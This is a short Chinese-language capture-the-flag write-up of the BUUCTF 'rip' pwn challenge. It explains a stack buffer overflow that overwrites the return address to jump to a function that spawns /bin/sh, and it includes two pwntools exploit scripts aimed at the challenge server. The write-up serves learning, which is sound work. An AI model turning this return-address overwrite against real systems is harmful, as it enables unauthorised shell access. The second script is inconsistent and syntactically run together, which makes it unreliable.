偶尔学学pwn,感觉re到了后面不可避免学pwn
先执行程序
看一下文件保护
file 和checksec指令
二进制的保护机制 (mamicode.com)
目前我也不会啥,这个 no cannary 就是我需要学的 没有栈溢出的保护
IDA 64打开附件
这就是我们的链接靶机看见的
然后我看wp说,我们要利用bin/sh获取shell权限
在fun函数这里,可以看见执行这个fun函数就可以了
总体思路 利用get来得到栈溢出的目的,在溢出中加入fun的返回地址,达到获取交互界面的权限
栈溢出思路:
查看S有多少个
15个
又因为是64为,我们要加上8字节(类似于平衡堆栈最后返回地址,如果是32位,我们要加上4字节)
地址
exp
BUUCTF pwn题 rip_buuctfrip-CSDN博客
from pwn import *
ghust = remote("node5.buuoj.cn",25521)
addr = 0x40118a
payload = b'A' * 15 + b'B'*8 + p64(addr)
ghust.sendline(payload)
ghust.interactive()
BUUCTF PWN-RIP详解_buuctf rip-CSDN博客
from pwn import *#p = process('./pwn1')
p = remote('node5.buuoj.cn', 25521)
payload='A'*23+'B'*8+p64(0x401186+1).decode()p.sendline(payload)
p.interactive()